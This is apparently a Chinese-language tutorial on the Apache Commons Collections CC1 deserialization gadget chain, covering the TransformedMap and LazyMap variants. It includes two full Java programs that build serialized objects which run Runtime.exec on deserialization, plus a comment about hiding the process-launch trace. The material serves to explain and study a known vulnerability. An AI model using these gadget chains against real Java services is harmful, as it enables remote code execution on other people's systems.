Apache Commons Collections 是对 java.util.Collection 的扩展。对集合类进行了增强和改进。集合类一般作为传递的载体和包裹
https://www.javatt.com/p/60827
Transformer接口
实现Transform接口的方法
需要利用的三个类:
ConstantTransformer类:接收一个对象,返回一个常量,这个常量是在构造方法里设置的。不管传什么都返回构造方法的常量。
ChainedTransformer类:构造方法里要传一个Transformer的数组,然后将数组循环,链式调用,前一个的输出作为后一个输入循环调用。
InvokerTransformer类:构造函数接收方法名、参数类型、参数值,然后transform方法接收一个对象,反射执行该对象的方法。很标准的任意方法调用类。例如:new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime._getRuntime_());
Runtime不能序列化,因为Runtime类是没有实现serialaze接口的。但是Class是可以序列化的。那么就从Class入手。
Transformer[] transformers = new Transformer[]{ //Transformer的数组
new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})//执行方法
};
//这里因为第一个Transform是ConstantTransformer,它的transform方法不论接收什么参数,都会返回构造方法的对象,因此这里传入一个字符串空值。
new ChainedTransformer(transformers).transform("");//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
了解到InvokerTransformer可以进行方法调用,那么就去搜索哪个类中调用了transformer方法。最后搜到TransformedMap是一个好的利用点,其实ysoserial中使用了LazyMap,而且是使用动态代理的方式。TransformedMap与LazyMap的区别是TransformedMap是在写入元素的时候执行transformed,而LazyMap是在get方法中执行factory.transform。LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值
TransformedMap的checkSetValue方法调用了transform
checkSetValue又在MapEntry的setValue方法中调用。
这里注意AbstractMapEntryDecorator抽象类是TransformedMap和MapEntry的父类。
MapEntry是Map遍历的时候一个键值对就叫一个Entry。正常想的话,我们只需要去遍历被TransformedMap修饰过的Map并且执行setValue方法,那么就会调用TransformedMap的checkSetValue方法。
因为是执行value的Transformer,因此value得是Runtime类。这样InvokerTransformer会获取value的class就是Runtime。到这一步的示例代码:
到现在,我们只需要去找谁能够执行Entry的setValue方法,最好是谁的readObject里面调用了setValue,因为反序列化入口都为readObject。找到一个这样的类,那么我们就可以进行命令执行。
使用TransformedMaps是因为在AnnotationInvocationHandler类的readObject方法中调用了setValue,但是是在低版本的JDK中才有,我这是8u51版本,在8u321版本中这块代码进行了修改(从8u71开始做的修改),新增了LinkedHashMap来替代我们反序列化得到的Map对象,并且没有了setValue方法。
完整代码示例:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ //Transformer的数组
new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})//执行方法
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "a");//为了AnnotationInvocationHandler的逻辑判断,key为value和构造方法里的Target.class的value属性一致才可以
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
//JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
aClassDeclaredConstructor.setAccessible(true);
Object o = aClassDeclaredConstructor.newInstance(Target.class, decorate);//使用Target是因为它有value属性,AnnotationInvocationHandler里面进行了if判断,只有map的key和value一致时才触发
serialize(o);
unSerialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser.bin"));
return objectInputStream.readObject();
}
}
ysoserial(y so serial)使用的是这种方式。LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform
。LazyMap的作用是”懒加载“,在get找不到值的时候,它会调用factory.transform
方法去获取一个值。
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法中并没有直接调用到Map的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler
类的invoke
方法有调用到get
调用AnnotationInvocationHandler的invoke方法,ysoserial使用的是动态代理。
完整代码示例:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ //Transformer的数组
new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),//执行方法
new ConstantTransformer(1)//隐蔽了启动进程的日志特征
};
Transformer chainedTransformer = new ChainedTransformer(transformers);//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer);
//JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> construct = aClass.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, decorate);//使用Target是因为它有value属性,AnnotationInvocationHandler里面进行了if判断,只有map的key和value一致时才触发
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);//代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹
serialize(handler);
unSerialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser.bin"));
return objectInputStream.readObject();
}
}